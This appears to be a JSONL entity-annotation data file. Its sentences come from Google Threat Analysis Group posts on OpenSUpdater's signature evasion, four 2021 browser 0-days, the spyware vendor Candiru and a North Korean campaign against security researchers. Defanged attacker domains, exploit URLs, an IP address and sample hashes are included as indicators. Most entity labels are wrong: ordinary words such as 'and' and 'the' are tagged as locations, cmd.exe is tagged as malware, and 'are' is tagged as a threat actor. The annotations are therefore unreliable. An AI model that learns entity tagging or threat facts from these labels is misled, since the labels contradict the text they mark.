-{"id":8612,"text":"However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.","entities":[{"id":26612,"label":"location","start_offset":87,"end_offset":91},{"id":26613,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":8613,"text":"This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.","entities":[{"id":26615,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":8614,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]}
-{"id":8615,"text":"This issue has been reported to Microsoft.","entities":[{"id":26616,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":8616,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":26618,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":8617,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection","entities":[{"id":26619,"label":"location","start_offset":14,"end_offset":17},{"id":26620,"label":"SHA1","start_offset":46,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":8618,"text":"New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":26621,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":8619,"text":"Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.","entities":[{"id":26623,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":8620,"text":"Users are encouraged to only download and install software from reputable and trustworthy sources.","entities":[{"id":26624,"label":"location","start_offset":6,"end_offset":9},{"id":26625,"label":"location","start_offset":24,"end_offset":28},{"id":26626,"label":"location","start_offset":38,"end_offset":41},{"id":26627,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":8621,"text":" Zero-day vulnerabilities are unknown software flaws.","entities":[{"id":26629,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":8622,"text":"Until they’re identified and fixed, they can be exploited by attackers.","entities":[{"id":26630,"label":"location","start_offset":25,"end_offset":28},{"id":26631,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":8623,"text":"Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, this includes hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success.","entities":[{"id":26634,"label":"location","start_offset":79,"end_offset":82},{"id":26635,"label":"location","start_offset":157,"end_offset":164},{"id":26636,"label":"location","start_offset":213,"end_offset":216},{"id":26637,"label":"location","start_offset":258,"end_offset":261},{"id":26638,"label":"location","start_offset":282,"end_offset":289}],"relations":[],"Comments":[]}
-{"id":8624,"text":"In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year: CVE-2021-21166 and CVE-2021-30551 in Chrome, CVE-2021-33742 in Internet Explorer, and CVE-2021-1879 in WebKit (Safari).","entities":[{"id":26643,"label":"location","start_offset":165,"end_offset":168},{"id":26645,"label":"location","start_offset":232,"end_offset":235}],"relations":[],"Comments":[]}
 {"id":8625,"text":"The four exploits were used as a part of three different campaigns.","entities":[],"relations":[],"Comments":[]}
-{"id":8626,"text":"As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks.","entities":[{"id":26649,"label":"location","start_offset":77,"end_offset":83},{"id":26650,"label":"location","start_offset":84,"end_offset":87},{"id":26651,"label":"location","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":8627,"text":"We assess three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors.","entities":[{"id":26653,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":8628,"text":"Google has also published root cause analyses (RCAs) on each of the 0-days.","entities":[{"id":26656,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":8629,"text":"In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year.","entities":[{"id":26658,"label":"location","start_offset":73,"end_offset":78},{"id":26660,"label":"location","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":8630,"text":"Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020.","entities":[{"id":26662,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":8631,"text":"While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.","entities":[{"id":26670,"label":"location","start_offset":100,"end_offset":103},{"id":26671,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":8632,"text":"Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and ​​CVE-2021-30551, which we believe to be used by the same actor.","entities":[{"id":26674,"label":"location","start_offset":69,"end_offset":75},{"id":26676,"label":"location","start_offset":122,"end_offset":125},{"id":26677,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":8633,"text":"CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77.","entities":[{"id":26679,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8634,"text":"Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia.","entities":[{"id":26681,"label":"location","start_offset":39,"end_offset":42},{"id":26682,"label":"location","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":8635,"text":"The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.","entities":[],"relations":[],"Comments":[]}
-{"id":8636,"text":"When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server.","entities":[{"id":26684,"label":"location","start_offset":7,"end_offset":13},{"id":26685,"label":"location","start_offset":147,"end_offset":150},{"id":26686,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":8637,"text":"The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.","entities":[{"id":26687,"label":"attack-pattern","start_offset":35,"end_offset":49},{"id":26688,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":8638,"text":"This information was collected by the attackers to decide whether or not an exploit should be delivered to the target.","entities":[{"id":26689,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":8639,"text":"Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery.","entities":[{"id":26692,"label":"location","start_offset":181,"end_offset":185}],"relations":[],"Comments":[]}
-{"id":8640,"text":"After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware and BIOS information.","entities":[{"id":26693,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":8641,"text":"This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target.","entities":[{"id":26694,"label":"location","start_offset":8,"end_offset":14},{"id":26695,"label":"location","start_offset":66,"end_offset":69},{"id":26696,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":8642,"text":"In our environment, we did not receive any payloads past this stage.","entities":[],"relations":[],"Comments":[]}
-{"id":8643,"text":"While analyzing CVE-2021-21166 we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable.","entities":[{"id":26697,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":8644,"text":"Apple fixed the issue as CVE-2021-1844.","entities":[{"id":26699,"label":"location","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":8645,"text":"We do not have any evidence that this vulnerability was used to target Safari users.","entities":[{"id":26700,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":8646,"text":"Related IOCs lragir[.]org armradio[.]org asbares[.]com armtimes[.]net armlur[.]org armenpress[.]org hraparak[.]org armtimes[.]org hetq[.]org","entities":[],"relations":[],"Comments":[]}
-{"id":8647,"text":"Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities.","entities":[{"id":26704,"label":"location","start_offset":139,"end_offset":143},{"id":26705,"label":"location","start_offset":154,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":8648,"text":"For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411.","entities":[{"id":26708,"label":"location","start_offset":111,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":8649,"text":"These files are automatically opened in Internet Explorer when they are double clicked by the user.","entities":[{"id":26709,"label":"location","start_offset":12,"end_offset":15},{"id":26710,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":8650,"text":"In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer.","entities":[{"id":26712,"label":"location","start_offset":32,"end_offset":40},{"id":26715,"label":"location","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":8651,"text":"This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.","entities":[{"id":26716,"label":"location","start_offset":36,"end_offset":42},{"id":26717,"label":"location","start_offset":66,"end_offset":71},{"id":26718,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":8652,"text":"At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors.","entities":[{"id":26719,"label":"location","start_offset":7,"end_offset":11},{"id":26721,"label":"location","start_offset":122,"end_offset":130},{"id":26722,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":8653,"text":"After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.","entities":[{"id":26723,"label":"attack-pattern","start_offset":8,"end_offset":22},{"id":26724,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":8654,"text":"This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021.","entities":[{"id":26727,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":8655,"text":"The exploit loaded an intermediary stage similar to the one used in the Chrome exploits.","entities":[{"id":26730,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":8656,"text":"We did not recover additional payloads in our environment.","entities":[],"relations":[],"Comments":[]}
 {"id":8657,"text":"During our investigation we discovered several documents uploaded to VirusTotal.","entities":[],"relations":[],"Comments":[]}
-{"id":8658,"text":"Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world.","entities":[{"id":26733,"label":"location","start_offset":49,"end_offset":52},{"id":26734,"label":"location","start_offset":110,"end_offset":113},{"id":26735,"label":"location","start_offset":126,"end_offset":130},{"id":26736,"label":"location","start_offset":131,"end_offset":137},{"id":26737,"label":"location","start_offset":198,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":8659,"text":"On July 15, 2021 Citizen Lab published a report tying the activity to spyware vendor Candiru.","entities":[{"id":26740,"label":"location","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":8660,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
 {"id":8661,"text":"Examples of related Office documents uploaded to VirusTotal: https:\/\/www.virustotal.com\/gui\/file\/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67\/detection https:\/\/www.virustotal.com\/gui\/file\/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb\/detection","entities":[{"id":26744,"label":"URL","start_offset":61,"end_offset":171},{"id":26745,"label":"SHA1","start_offset":172,"end_offset":282}],"relations":[],"Comments":[]}
 {"id":8662,"text":"Unique URLs serving ​​CVE-2021-33742 Internet Explorer exploit: http:\/\/lioiamcount[.]com\/IsnoMLgankYg6\/EjlYIy7cdFZFeyFqE4IURS1 http:\/\/db-control-uplink[.]com\/eFe1J00hISDe9Zw\/gzHvIOlHpIXB http:\/\/kidone[.]xyz\/VvE0yYArmvhyTl\/GzV","entities":[{"id":26746,"label":"URL","start_offset":64,"end_offset":88},{"id":26747,"label":"URL","start_offset":127,"end_offset":136},{"id":26748,"label":"URL","start_offset":187,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":8663,"text":"Word documents with the following classid: {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} Related infrastructure: workaj[.]com wordzmncount[.]com Not all attacks require chaining multiple 0-day exploits to be successful.","entities":[],"relations":[],"Comments":[]}
-{"id":8664,"text":"A recent example is CVE-​2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor.","entities":[{"id":26751,"label":"location","start_offset":81,"end_offset":84},{"id":26752,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":8665,"text":"(NOTE: This exploit is not connected to the other three we’ve discussed above.)","entities":[],"relations":[],"Comments":[]}
-{"id":8666,"text":"In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links.","entities":[{"id":26755,"label":"location","start_offset":8,"end_offset":16},{"id":26757,"label":"location","start_offset":55,"end_offset":61},{"id":26758,"label":"location","start_offset":88,"end_offset":95},{"id":26760,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":8667,"text":"If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads.","entities":[{"id":26761,"label":"location","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":8668,"text":"The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity.","entities":[{"id":26762,"label":"location","start_offset":4,"end_offset":12},{"id":26763,"label":"location","start_offset":69,"end_offset":73},{"id":26766,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":8669,"text":"After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-​2021-1879.","entities":[{"id":26768,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":8670,"text":"This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook and Yahoo and send them via WebSocket to an attacker-controlled IP.","entities":[{"id":26769,"label":"location","start_offset":28,"end_offset":32},{"id":26774,"label":"location","start_offset":181,"end_offset":184},{"id":26776,"label":"location","start_offset":191,"end_offset":194},{"id":26777,"label":"location","start_offset":200,"end_offset":204}],"relations":[],"Comments":[]}
 {"id":8671,"text":"The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.","entities":[],"relations":[],"Comments":[]}
 {"id":8672,"text":"There was no sandbox escape or implant delivered via this exploit.","entities":[],"relations":[],"Comments":[]}
 {"id":8673,"text":"The exploit targeted iOS versions 12.4 through 13.7.","entities":[],"relations":[],"Comments":[]}
-{"id":8674,"text":"This type of attack, described by Amy Burnett in Forget the Sandbox Escape: Abusing Browsers from Code Execution, are mitigated in browsers with Site Isolation enabled such as Chrome or Firefox.","entities":[{"id":26778,"label":"location","start_offset":5,"end_offset":9},{"id":26781,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":8675,"text":"Related IOCs supportcdn.web[.]app vegmobile[.]com 111.90.146[.]198","entities":[{"id":26782,"label":"IPV4","start_offset":50,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":8676,"text":"There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild.","entities":[{"id":26783,"label":"location","start_offset":15,"end_offset":18},{"id":26784,"label":"location","start_offset":22,"end_offset":25},{"id":26785,"label":"location","start_offset":39,"end_offset":46},{"id":26787,"label":"location","start_offset":91,"end_offset":94},{"id":26789,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":8677,"text":"The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful.","entities":[{"id":26792,"label":"location","start_offset":79,"end_offset":82},{"id":26793,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":8678,"text":"Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild: Increase in detection & disclosure","entities":[{"id":26794,"label":"location","start_offset":21,"end_offset":24},{"id":26796,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":8679,"text":"This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild and Google added these annotations to their Android bulletins.","entities":[{"id":26799,"label":"location","start_offset":59,"end_offset":67},{"id":26800,"label":"location","start_offset":146,"end_offset":149},{"id":26801,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":8680,"text":"When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves.","entities":[{"id":26804,"label":"location","start_offset":50,"end_offset":54},{"id":26805,"label":"location","start_offset":55,"end_offset":58},{"id":26806,"label":"location","start_offset":63,"end_offset":69},{"id":26807,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":8681,"text":"In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result.","entities":[{"id":26809,"label":"location","start_offset":49,"end_offset":52},{"id":26810,"label":"location","start_offset":126,"end_offset":129},{"id":26812,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":8682,"text":"It’s also possible that more people are focusing on discovering 0-days in-the-wild and\/or reporting the 0-days that they found in the wild.","entities":[{"id":26813,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":8683,"text":"Increased Utilization","entities":[],"relations":[],"Comments":[]}
-{"id":8684,"text":"There is also the possibility that attackers are using more 0-day exploits.","entities":[{"id":26815,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":8685,"text":"There are a few reasons why this is likely:    Over the last decade, we believe there has been an increase in attackers using 0-day exploits.","entities":[{"id":26817,"label":"location","start_offset":6,"end_offset":9},{"id":26818,"label":"location","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":8686,"text":"Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it  ","entities":[{"id":26822,"label":"location","start_offset":74,"end_offset":78},{"id":26823,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":8687,"text":"reflects increased cost to the attackers from security measures that close known vulnerabilities.","entities":[{"id":26824,"label":"location","start_offset":19,"end_offset":23},{"id":26825,"label":"location","start_offset":46,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":8688,"text":"However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge.","entities":[{"id":26826,"label":"location","start_offset":54,"end_offset":57},{"id":26827,"label":"location","start_offset":86,"end_offset":90},{"id":26828,"label":"location","start_offset":104,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":8689,"text":"0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use.","entities":[{"id":26830,"label":"location","start_offset":30,"end_offset":34},{"id":26832,"label":"location","start_offset":140,"end_offset":144},{"id":26833,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
 {"id":8690,"text":"In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.","entities":[],"relations":[],"Comments":[]}
 {"id":8691,"text":"No longer do groups need to have the technical expertise, now they just need resources.","entities":[{"id":26836,"label":"identity","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":8692,"text":"Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":26842,"label":"location","start_offset":116,"end_offset":119},{"id":26843,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":8693,"text":"Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends.","entities":[{"id":26844,"label":"location","start_offset":37,"end_offset":40},{"id":26845,"label":"location","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":8694,"text":"Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used.","entities":[{"id":26850,"label":"location","start_offset":64,"end_offset":68},{"id":26851,"label":"location","start_offset":84,"end_offset":91},{"id":26852,"label":"location","start_offset":97,"end_offset":105},{"id":26853,"label":"location","start_offset":114,"end_offset":118},{"id":26854,"label":"location","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":8695,"text":"Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it.","entities":[{"id":26857,"label":"location","start_offset":48,"end_offset":52},{"id":26858,"label":"location","start_offset":109,"end_offset":112},{"id":26859,"label":"location","start_offset":128,"end_offset":131},{"id":26860,"label":"location","start_offset":211,"end_offset":214},{"id":26861,"label":"location","start_offset":262,"end_offset":265}],"relations":[],"Comments":[]}
-{"id":8696,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.","entities":[{"id":26862,"label":"location","start_offset":45,"end_offset":50},{"id":26863,"label":"location","start_offset":60,"end_offset":63},{"id":26866,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":8697,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":26870,"label":"location","start_offset":59,"end_offset":67},{"id":26872,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":8698,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":26874,"label":"location","start_offset":19,"end_offset":23},{"id":26875,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":8699,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":26877,"label":"location","start_offset":51,"end_offset":59},{"id":26879,"label":"location","start_offset":117,"end_offset":125},{"id":26880,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":8700,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":26881,"label":"location","start_offset":93,"end_offset":99},{"id":26882,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":8701,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":26884,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":8702,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":26885,"label":"location","start_offset":39,"end_offset":44},{"id":26886,"label":"location","start_offset":93,"end_offset":101},{"id":26887,"label":"location","start_offset":141,"end_offset":144},{"id":26888,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":8703,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":26891,"label":"location","start_offset":79,"end_offset":82},{"id":26892,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":8704,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":26893,"label":"location","start_offset":39,"end_offset":44},{"id":26894,"label":"location","start_offset":80,"end_offset":84},{"id":26895,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":8705,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":26896,"label":"location","start_offset":8,"end_offset":12},{"id":26897,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":8706,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":26899,"label":"location","start_offset":27,"end_offset":31},{"id":26900,"label":"location","start_offset":33,"end_offset":41},{"id":26901,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":8707,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":26902,"label":"location","start_offset":66,"end_offset":69},{"id":26903,"label":"location","start_offset":81,"end_offset":84},{"id":26904,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":8708,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":8709,"text":"Fake Security Company Website:     LinkedIn Profiles:    Email:    Attacker Owned Domains:        Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":26905,"label":"location","start_offset":5,"end_offset":13},{"id":26908,"label":"location","start_offset":180,"end_offset":188},{"id":26909,"label":"location","start_offset":199,"end_offset":207},{"id":26910,"label":"location","start_offset":254,"end_offset":257},{"id":26911,"label":"location","start_offset":293,"end_offset":296}],"relations":[],"Comments":[]}
-{"id":8710,"text":"The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.","entities":[{"id":26912,"label":"location","start_offset":23,"end_offset":31},{"id":26914,"label":"location","start_offset":130,"end_offset":135},{"id":26915,"label":"location","start_offset":139,"end_offset":145},{"id":26916,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":8711,"text":"We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.","entities":[{"id":26917,"label":"location","start_offset":3,"end_offset":7},{"id":26918,"label":"location","start_offset":13,"end_offset":17},{"id":26919,"label":"location","start_offset":18,"end_offset":22},{"id":26920,"label":"location","start_offset":43,"end_offset":51},{"id":26921,"label":"location","start_offset":61,"end_offset":70},{"id":26922,"label":"location","start_offset":81,"end_offset":84},{"id":26923,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":8712,"text":"In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.","entities":[{"id":26924,"label":"location","start_offset":30,"end_offset":33},{"id":26925,"label":"location","start_offset":47,"end_offset":55},{"id":26926,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":8713,"text":"They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.","entities":[{"id":26927,"label":"location","start_offset":110,"end_offset":113},{"id":26928,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":8714,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":26929,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":26930,"label":"location","start_offset":30,"end_offset":33},{"id":26931,"label":"location","start_offset":147,"end_offset":155},{"id":26932,"label":"location","start_offset":169,"end_offset":175},{"id":26933,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":8715,"text":"While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.","entities":[{"id":26934,"label":"location","start_offset":9,"end_offset":12},{"id":26936,"label":"location","start_offset":141,"end_offset":145},{"id":26937,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":8716,"text":"On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.","entities":[{"id":26940,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":8717,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":26942,"label":"malware","start_offset":80,"end_offset":87},{"id":26943,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":8718,"text":"Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.","entities":[{"id":26945,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":8719,"text":"After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”","entities":[{"id":26946,"label":"location","start_offset":26,"end_offset":30},{"id":26948,"label":"location","start_offset":117,"end_offset":121},{"id":26949,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":8720,"text":"The actors have been observed targeting specific security researchers by a novel social engineering method.","entities":[{"id":26950,"label":"location","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":8721,"text":"After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.","entities":[{"id":26951,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
